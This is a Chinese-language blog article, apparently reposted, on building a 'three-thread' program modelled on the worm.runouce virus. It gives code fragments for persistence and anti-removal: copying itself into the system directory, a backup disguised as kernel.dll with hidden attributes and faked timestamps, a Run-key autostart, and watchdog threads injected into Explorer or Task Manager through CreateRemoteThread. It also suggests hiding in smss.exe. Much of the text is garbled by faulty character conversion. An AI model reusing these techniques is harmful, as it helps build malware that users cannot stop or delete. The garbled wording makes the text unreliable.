天天看點

淺析三線程程式開發思路與實作

一、前言

    中國黑客(worm.runouce)病毒在國内出現以後,各大反病毒公司都對其進行了“仔細”的分析,得出一個結論:“中國黑客”發現了全球首創的“三 線程”結構。這是金*公司對外的宣傳詞,我個人對病毒沒什麼研究,并且我對worm.runouce沒有任何的個人看法,不過我可以确信的是很多反病毒公 司往往在誇大事實,目的隻有一個:讓更多的使用者覺得某某病毒很可怕,讓更多的使用者相信隻有某某公司的防毒軟體才可以徹底将病毒清除掉。其實三線程并沒有好 高深的技術,不過ideal is wonderful。現在就讓我們一步步揭開三線程程式開發的神秘面紗。

 二、三線程程式開發思路

    在作業系統中,程序是存儲器,外設等資源的配置設定機關,同時也是處理器排程的對象,但為了提高程序内的并發性,windows系統中引入了線程這個概念(在 很多其他作業系統中同樣也有線程的概念,由于在2001年微軟停止了window9x核心的研發,是以本文隻針對windowx2000/xp操作系 統),這時系統把線程作為處理器排程的對象,一個程序可以同時擁有多個并發的線程。通常情況下的簡單程式就隻有一個主線程,它是在程序建立時自動生成的。 我們可以将想要執行的代碼放在主線程裡,然後再生成兩個輔助線程,它們的功能就是實作對程式的保護功能,防止程式被使用者關閉或删除。在此,稱我們的可執行 檔案的程序為主程序。

    主線程需要完成的任務有三個,它們分别是準備工作,建立輔助線程和程式主要功能的實作。準備工作當然是為程式運作過程中所需要的一些部件做好準備,其中包 括檔案複制和儲存,一般情況下是把可執行檔案複制到系統目錄下。當然為了防止意外删除,我們可以将程式的可執行檔案備份,不過要注意修改一些屬性(檔案類 型,大小,日期,屬性),這樣就不容易被發現與我們的可執行檔案有關聯了。建立輔助線程包括兩個線程,一個駐留在主程序體内,另一個通過建立遠端線程駐留 到其他正在運作的程序體内。這兩個線程的功能就是監視其他程序或線程的運作情況,如果出現異常立即恢複。程式的主要功能就不用多說了,想幹什麼就幹什麼, 一般是一些不想讓使用者關閉的程式。

    駐留主程序體内的線程同時觀察系統資料庫和遠端程序的情況。它實時查詢系統資料庫裡 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run鍵下相關可執行文 件的鍵值,如果被删除就立即将其添加上。這就是對系統資料庫的實時監視,使得每次開機時都會運作我們的可執行檔案。而另一個功能則是監視駐留在遠端程序體内輔 助線程的運作情況,如果該線程被關閉,立即通過建立遠端線程将被關閉的線程駐留到特定的程序内。如果你知道了輔助線程是駐留在那個程序内的,你就可以将這 個遠端程序關閉掉。但是我們還是可以将輔助線程駐留到其他的遠端程序内。至于標明哪個遠端程序,完全視你的心情而定。

    駐留在遠端程序體内的輔助線程則監視主程序的運作情況,如果主程序被kill了,它會确認程式的可執行檔案是否也被删除掉了。如果系統目錄下的可執行檔案 不存在了,則用我們備份的檔案恢複可執行檔案,然後再重新啟動程式,這樣你在任務管理器裡怎麼也删除不了主程序。由于我們是建立遠端線程,是以必須把線程 的代碼和線程所需要的參數都複制到遠端程序的位址空間裡。這是因為在windows2000/xp環境下,通路其他程序位址空間是違規的。我們把代碼和參 數複制過去後,線程就完全在遠端程序的位址空間運作了。我們可以看到,通過兩個輔助線程,就很難把主程序關閉或删除掉。

    現在我們就以一個誘鼠器為例,來分析三線程的程式結構,如下圖:

  |---------->-----------|   

remote ---<--- T-mouse --->--- watch --->--- Registry

  |------------------<--------------------|

    其中T-mouse為主程序/主線程,remote為建立的遠端線程,watch為本地的輔助監視線程,Registry為系統資料庫檔案。T-mouse創 建remote和watch兩個線程,remote監視T-mouse主程序,watch監視系統資料庫檔案和remote線程。   

 三、核心代碼分析

    本文的程式僅針對windows2000/xp作業系統,程式中使用的UNICODE編碼。測試環境:Windows2000 + SP2 + VC6.0。整個程式分主線程main,本地輔助監視線程watch,遠端線程remote,還包括獲得程序ID的processtopid和建立遠端線程的createremote兩個自定義函數。

1.主線程:main

    GetSystemDirectory(syspath,MAX_PATH);

    //獲得作業系統的系統目錄;

    FindFirstFile(tname,&fdata);

    //查詢系統目錄下的T-mouse.exe是否存在;

    CopyFile(curname,tname,TRUE);

    //如果系統目錄下沒有,在将正在運作的程式複制到系統目錄下;

    FindClose(ffhandle);

    //在查詢完畢後,關閉相關句柄;

    CreateFile(kname,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

    //打開系統目錄下的備份檔案kernel.dll; 

    SetFileTime(fchandle,&ftime,NULL,&ftime);

    //修改kernel.dll的建立時間,修改時間;

    SetFileAttributes(kname,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM );

    //設定kernel.dll的屬性為隻讀,系統及隐藏;

    CreateThread(NULL,0,watch,(LPVOID)rthread,0,NULL);

    //建立駐留在主程序内的輔助監視線程

2.本地輔助監視線程:watch

    RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_VALUE,&hkey);

    //以查詢方式打開系統資料庫的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run;

    RegQueryValueEx(hkey,_T("T-mouse"),NULL,NULL,(LPBYTE)lpdata,&dwbuflen);

    //查詢是否存在T-mouse的鍵值;

    RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);

    //如果沒有相關鍵值,就以寫方式再次打開系統資料庫;

    RegSetValueEx(hkey,_T("T-mouse"),NULL,type,(const byte *)wtname,dwbuflen);

    //寫入我們想要的東西,系統每次啟動都會運作我們的可執行檔案;

    GetExitCodeThread(wethread,&exitcode);

    //獲得遠端線程的運作情況,看是否為STILL_ACTIVE,如果不是則建立遠端線程;

3.遠端線程:remote

    tOpenProcess(PROCESS_ALL_ACCESS,FALSE,erp->rpmousepid);

    //以所有可能的通路方式打開主程序,以便監視主程序的運作情況;

    tWaitForSingleObject(erp->rpprocesshandle,INFINITE);

    //等待直到主程序結束;

    tWinExec(erp->rpwinexecname, 0);

    //重新啟動我們的可執行檔案;

4.獲得程序ID:processtopid

    EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded);

    //列舉所有的程序

    OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);

    //以查詢資訊和讀取的方式打開程序

    EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded);

    //獲得程序子產品的句柄

    GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));

    //獲得特定子產品的名字,以備比較

5.建立遠端線程:createremote

    OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,remotepid);

    //PROCESS_CREATE_THREAD for CreateRemoteThread

    //PROCESS_VM_OPERATION  for VirtualAllocEx

    //PROCESS_VM_WRITE      for WriteProcessMemory

    VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);

    //在遠端程序中配置設定空間,以備将線程代碼置入其中;

    WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL);

    //将遠端線程remote的代碼寫入到遠端程序的位址空間中

    WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL);

    //将遠端線程所需的參數也寫入到遠端程序的位址空間中

    CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);

    //建立遠端監視線程

 四、小結與後記

    我們已經看到,建立三線程就是為了更好的保護程式自身不被關閉和删除。兩個輔助線程互相實時監視,如果監視對象被關閉了,就重新建立線程或程序。其實,在 程式中我們選擇的遠端程序駐體為Explorer.exe和Taskmgr.exe。在通常情況下,如果使用者知道了遠端線程的駐體為資料總管後,就會打 開任務管理器來結束Explorer,這時我們再把遠端線程駐入到任務管理器中。也就是說,隻要Explorer或Taskmgr有一個存在,就不可能結 束主程序。如果有其他Kill程序的工具,你就可以将其關閉掉,隻要資料總管和任務管理器均不存在時,就沒有駐體來維持遠端程序。不過,如果我們選擇的 遠端程序為随機的,這就不容易發現了;如果我們選擇的遠端程序為系統檔案(如smss.exe會話管理器),那麼你是不會安全的結束遠端線程,除非系統崩 潰。

    如何不用其他的工具将其關閉并删除呢?你也可以進入到DOS或Safe模式下,将系統目錄下的可執行檔案删除,然後重新開機系統。這時,就不會自動運作程式 了,然後将系統資料庫裡RUN鍵下的相關鍵值,系統目錄下的備份檔案及首次運作的可執行檔案删除就徹底清楚了。在調試程式時,為了對遠端線程的運作情況有所了 解,我們使用了工具Dbgview.exe。

繼續閱讀